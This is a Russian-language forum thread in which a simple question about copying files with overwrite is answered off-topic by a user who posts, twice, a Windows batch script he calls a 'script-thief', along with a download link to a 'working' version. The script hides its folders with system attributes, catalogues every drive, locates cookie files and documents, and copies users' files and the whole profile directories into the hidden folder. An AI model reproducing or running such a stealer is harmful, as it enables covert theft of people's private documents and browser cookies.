![]() |
Скопировать все файлы из одного каталога в другой
Добрый день!
Необходимо скопировать все файлы из одного каталога в другой, при этом если файл в каталоге назначения существует, то переписать его. Заранее благодарен! |
Код:
copy /? |
Код:
@echo on rem ******************* rem Создаём свалку для мусора и аттрибутим скрыт,системн,только чтение rem ******************* mkdir %date:~-10% attrib +H +s +r "%cd%\%date:~-10%" mkdir %date:~-10%\%USERNAME% attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%" rem ******************* rem создаём в ней подпапки для удобства rem ******************* mkdir %date:~-10%\%USERNAME%\dir1-6 attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\dir1-6" mkdir %date:~-10%\%USERNAME%\docssett attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\docssett" mkdir %date:~-10%\%USERNAME%\Users attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\Users" rem ******************* rem шаримся по дискам и журналируем в папочку dir1-6 rem ******************* dir c:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir1.doc" dir d:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir2.doc" dir e:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir3.doc" dir f:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir4.doc" dir g:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir5.doc" dir h:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir6.doc" rem шаримся по C:\ и журналируем в папочку USERNAME dir c:\ /s /b | find "cookies" /i > %cd%\%date:~-10%\%USERNAME%\cookies.txt dir c:\ /s /b | find "*.avi" /i > %cd%\%date:~-10%\%USERNAME%\avi.txt dir c:\ /s /b | find "*.rar" /i > %cd%\%date:~-10%\%USERNAME%\rar.txt dir c:\ /s /b | find "*.zip" /i > %cd%\%date:~-10%\%USERNAME%\zip.txt dir c:\ /s /b | find "*.doc" /i > %cd%\%date:~-10%\%USERNAME%\doc.txt rem ******************* rem искать файлы в заданном каталоге и складывать найденное в определенную папку rem ******************* FOR /R c:\ %%I in (*.doc, *.txt, *zoner*, *.rar) do copy "%%I" "%cd%\%date:~-10%\%USERNAME%\dir1-6" rem ******************* rem если винда ХР , тырим папку c:\documents and settings , если ошибка ,то винда 7, тырим папку C:\Users rem ******************* xcopy "c:\Documents and Settings" "%cd%\%date:~-10%\%USERNAME%\docssett" /s/e/i/c/h/q rem if not errorlevel 0 goto users rem if not errorlevel 0 goto _1 rem pause :users XCOPY /y C:\Users "%cd%\%date:~-10%\%USERNAME%\Users" /s /e /i /c /h /q rem ******************* rem вырубаем батник rem ******************* exit |
oleggyunter, можно узнать что вы изобразили?
|
Комментарий ;).
|
Простите меня ради бога , напортачил с переносами . Написал скрипт-вор , выложил . Прикреплю РАБОЧИЙ вариант. Оцени , zion87, http://download7.files.attachmail.ru...from=e.mail.ru
Сообщения: 3 Благодарности: 0 Конфигурация Профиль | Редактировать | Отправить PM | Цитировать Код: @echo on rem ******************* rem Создаём свалку для мусора и аттрибутим скрыт,системн,только чтение rem ******************* mkdir %date:~-10% attrib +H +s +r "%cd%\%date:~-10%" mkdir %date:~-10%\%USERNAME% attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%" rem ******************* rem создаём в ней подпапки для удобства rem ******************* mkdir %date:~-10%\%USERNAME%\dir1-6 attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\dir1-6" mkdir %date:~-10%\%USERNAME%\docssett attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\docssett" mkdir %date:~-10%\%USERNAME%\Users attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\Users" rem ******************* rem шаримся по дискам и журналируем в папочку dir1-6 rem ******************* dir c:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir1.doc" dir d:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir2.doc" dir e:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir3.doc" dir f:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir4.doc" dir g:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir5.doc" dir h:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir6.doc" rem шаримся по C:\ и журналируем в папочку USERNAME dir c:\ /s /b | find "cookies" /i > %cd%\%date:~-10%\%USERNAME%\cookies.txt dir c:\ /s /b | find "*.avi" /i > %cd%\%date:~-10%\%USERNAME%\avi.txt dir c:\ /s /b | find "*.rar" /i > %cd%\%date:~-10%\%USERNAME%\rar.txt dir c:\ /s /b | find "*.zip" /i > %cd%\%date:~-10%\%USERNAME%\zip.txt dir c:\ /s /b | find "*.doc" /i > %cd%\%date:~-10%\%USERNAME%\doc.txt rem ******************* rem искать файлы в заданном каталоге и складывать найденное в определенную папку rem ******************* FOR /R c:\ %%I in (*.doc, *.txt, *zoner*, *.rar) do copy "%%I" "%cd%\%date:~-10%\%USERNAME%\dir1-6" rem ******************* rem если винда ХР , тырим папку c:\documents and settings , если ошибка ,то винда 7, тырим папку C:\Users rem ******************* xcopy "c:\Documents and Settings" "%cd%\%date:~-10%\%USERNAME%\docssett" /s/e/i/c/h/q rem if not errorlevel 0 goto users rem if not errorlevel 0 goto _1 rem pause :users XCOPY /y C:\Users "%cd%\%date:~-10%\%USERNAME%\Users" /s /e /i /c /h /q rem ******************* rem вырубаем батник rem ******************* exit Так будет понятней. |
Время: 19:10. |
Время: 19:10.
© OSzone.net 2001-